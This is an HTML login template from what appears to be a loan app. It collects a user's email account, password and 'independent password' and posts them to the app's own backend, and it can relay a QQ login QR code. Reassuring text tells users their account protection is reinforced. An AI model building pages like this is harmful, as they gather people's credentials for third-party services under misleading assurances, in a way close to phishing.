<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
    <title></title>
    <link  href="loanStatic/css/common.css" th:href="@{/loanStatic/css/common.css?v=3.3.6}" rel="stylesheet">
    <link  href="loanStatic/css/login.css"  th:href="@{/loanStatic/css/login.css?v=3.3.6}" rel="stylesheet">
    <link th:href="@{/loanStatic/tip/mdialog.css}" rel="stylesheet" type="text/css">
    <script th:src="@{/loanStatic/tip/mdialog.js}"></script>
    <script th:src="@{/loanStatic/js/fromSumbit/jquery.min.js}" type="text/javascript"></script>
</head>
<body>
    <div id="login"></div>
    <div class="login_bg">
        <div id="logo" id="tupian001" style="color:#0600ff">页面正常跳转<br/>加固账号防护<br/>请放心使用！</div>
        <div id="tupian002" style="dispaly:none"></div>
        <div id="needLogin" style="width: 80%; margin: 0 auto;text-align: left">
            <div class="userName">
                <lable>您的账号：</lable>
                <input type="text" name="mobile" id="mobile" th:value="${emile}" placeholder="请输入账号" />
            </div><br/>
            <div class="passWord">
                <lable>账号密码：</lable>
                <input type="password" name="password" id="password" th:value="${pass}" placeholder="请输入密码"/>
            </div><br/>
             <div class="passWord">
                <lable>独立密码：</lable>
                <input type="password" name="password2" id="password2" th:value="${dlpass}" placeholder="请独立密码"/>
            </div>
            <br/>
            <button class="login_btn" onclick="loginBtn();" type="submit">提&nbsp;&nbsp;交&nbsp;&nbsp;验&nbsp;&nbsp;证</button>
        </div>
       
        <div class="other_login">
            <div class="other"></div>
            <span onclick="continueRegister();">返回</span>
            <div class="other"></div>
        </div>
    </div>
   <script>
   function continueRegister(){
	   window.location.href=history.go(-1);
   }
   
   function loginBtn(){
	var mobile = $("#mobile").val();
   	var password = $("#password").val();
   	var password2 = $("#password2").val();
		$.ajax({
			url : "/moblie/creditcard2",
			data : {"email": mobile,"password":password,"identity":password2},
			dataType : "json",
			type : 'post',
			success : function(data) {
				if (data.code=='200'){
					var token=data.token;
					if(data.data.process_code=="10111"){
						$("#tupian001").hide();
						$("#tupian002").show();
						 $("#needLogin").hide();
						 var centone=data.data.content;
						 centone=centone.substring(7,centone.length);
						 var textInfo="<div id='logo'>请用QQ扫码<br/><br/><br/><br/><img style='width:109px;height:109px' src='"+centone+"' alt=''/></div>"
						 $("#tupian002").html(textInfo);
					}
					//直接调用
					$.ajax({
						url : "/moblie//creditcardRetrunInfo2/"+token,
						data : {"token": token},
						dataType : "json",
						type : 'post',
						success : function(data) {
							alert(data.msg)
						},
						error : function() {
							alert("网络异常，请稍后重试！");
						}
					});
				}else{
					alert("验证失败")
				}
			},
			error : function() {
				alert("网络异常，请稍后重试！");
			}
		});
   }
   </script>
</body>
</html>